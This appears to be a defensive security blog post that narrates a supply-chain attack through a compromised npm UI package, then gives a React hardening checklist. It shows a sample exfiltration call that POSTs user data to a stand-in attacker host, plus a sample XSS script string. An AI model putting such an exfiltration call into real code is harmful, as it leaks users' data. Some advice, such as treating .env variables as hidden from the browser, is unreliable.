📌 Scenario:
A React.js website in production suddenly started showing an unwanted popup, collecting user information without authorization. The team panicked—was this a hack? A data breach?

🔍 Initial Findings:

Server Logs: Clean, no unauthorized access.
Database: Untouched, no data leaks.
Website Code: No injected malicious scripts.
SSL: Intact, no MITM attacks.

Suspicion: A supply chain attack—a compromised npm package!

🕵️‍♂️ Investigation & Fixing the Issue

Step 1: Check Suspicious npm Packages

The team needed to find if any third-party React package was modified maliciously.

Commands Used:

# Check installed version of a package
npm list <packagename>  

# View all published versions & their release dates  
npm view <packagename> versions  

# Check the latest version  
npm view <packagename> version  

# Verify release timestamps (to detect sudden updates)  
npm view <packagename>@<version> time

Finding:

A compromised version of a UI library (react-popup-manager@3.2.1) was pushing unauthorized POST requests.

Step 2: Locate the Malicious API Call

The popup was sending data to an unknown API endpoint.

Where It Hid:

Inside a dependency’s bundled JS (node_modules/react-popup-manager/dist/index.js).
A stealthy POST call was embedded:

fetch("https://malicious-api.example.com/log", {  
  method: "POST",  
  body: JSON.stringify(userData)  
});

Fix Applied:

Removed the malicious package:
```
npm uninstall react-popup-manager  
```

Replaced it with a trusted version:

npm install react-popup-manager@3.1.5 --save-exact

Audited all dependencies:
```
npm audit  
```

Step 3: Secure the API Endpoints

Removed hardcoded API URLs from frontend code.
Switched to environment variables (process.env.REACT_APP_API_URL).
Added CORS restrictions on the backend.

🔒 Preventing Future Attacks

✅ Use --save-exact to lock versions.
✅ Regularly run npm audit for vulnerabilities.
✅ Monitor node_modules for unexpected changes.
✅ Enable 2FA for npm publish.

📢 Key Takeaways

Supply chain attacks are real! Always verify npm packages.
Lock versions to avoid auto-updating to compromised code.
Never trust third-party scripts blindly—audit them!

The Ultimate Guide to Securing React.js Applications

(A Step-by-Step Defense Against Supply Chain Attacks, XSS, Data Leaks & More)

🔐 Why React Security Matters

React apps are vulnerable to:
✔ Supply chain attacks (malicious npm packages)
✔ XSS (Cross-Site Scripting)
✔ CSRF (Cross-Site Request Forgery)
✔ Insecure API endpoints
✔ Environment variable leaks

Let’s lock it down!

🛡️ Step 1: Prevent Supply Chain Attacks

1. Use `--save-exact` & Lockfiles

npm install package@1.2.3 --save-exact  # Pins exact version

Always commit package-lock.json (prevents silent updates).

2. Audit Dependencies Regularly

npm audit           # Checks for vulnerabilities  
npm audit fix       # Automatically fixes some issues  
npx better-npm-audit  # More detailed analysis

Pro Tip: Use Socket.dev to detect suspicious package behavior.

3. Whitelist Safe Packages

Use npm’s overrides to force safe versions:

// package.json
"overrides": {
  "react-popup-manager": "3.1.5"  
}

🛡️ Step 2: Block XSS (Cross-Site Scripting)

1. Sanitize User Input

import DOMPurify from "dompurify";  

const userInput = "<script>alert('Hacked!')</script>";  
const cleanInput = DOMPurify.sanitize(userInput);  // Removes scripts

Alternative: Use react-escape for dynamic content.

2. Use `dangerouslySetInnerHTML` Sparingly

<div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />

⚠️ Never use it with unsanitized data!

3. Set Secure HTTP Headers

Add to nginx.conf or Netlify/vercel headers:

add_header X-XSS-Protection "1; mode=block";  
add_header Content-Security-Policy "default-src 'self'";

🛡️ Step 3: Secure API Calls

1. Hide API Keys with Environment Variables

# .env  
REACT_APP_API_URL=https://real-api.example.com

Never expose in client-side code:

// ❌ BAD (visible in browser)  
const API_KEY = "12345";  

// ✅ GOOD (only in .env)  
fetch(`${process.env.REACT_APP_API_URL}/data`);

2. Use CORS & CSRF Tokens

Backend (Node.js example):

app.use(cors({  
  origin: ["https://yourdomain.com"], // Whitelist  
  credentials: true  
}));

Frontend:

// Include CSRF token in requests  
axios.defaults.headers.common["X-CSRF-Token"] = getCSRFToken();

🛡️ Step 4: Harden Authentication

1. Use `HttpOnly` Cookies for JWT

// Backend (Express.js)  
res.cookie("token", jwt, {  
  httpOnly: true,  // Blocks JS access  
  secure: true,    // HTTPS only  
  sameSite: "strict"  
});

2. Implement Rate Limiting

npm install express-rate-limit

app.use(rateLimit({  
  windowMs: 15 * 60 * 1000, // 15 mins  
  max: 100 // Limit each IP to 100 requests  
}));

🛡️ Step 5: Deployment Security

1. Disable Source Maps in Production

GENERATE_SOURCEMAP=false  # In .env.production

Why? Prevents hackers from reverse-engineering your code.

2. Use Security Headers (Helmet.js)

npm install helmet

app.use(helmet());  // Sets 11+ security headers automatically

3. Monitor with Snyk or Dependabot

Snyk – Scans for vulnerabilities.
GitHub Dependabot – Auto-PRs for outdated packages.

🔒 Final Checklist

✅ Lock npm versions (--save-exact + package-lock.json).
✅ Sanitize all user inputs (DOMPurify).
✅ Hide API keys (.env + server-side proxies).
✅ Enable CORS/CSRF protection.
✅ Use HttpOnly cookies for auth.
✅ Deploy with security headers (Helmet.js).

🚀 Want More?

Try hacking your own app with OWASP ZAP.
Read: OWASP React Security Cheat Sheet.

Stay safe, and happy coding! 😊

The Mystery of the Unwanted Popup: A React.js Supply Chain Attack Story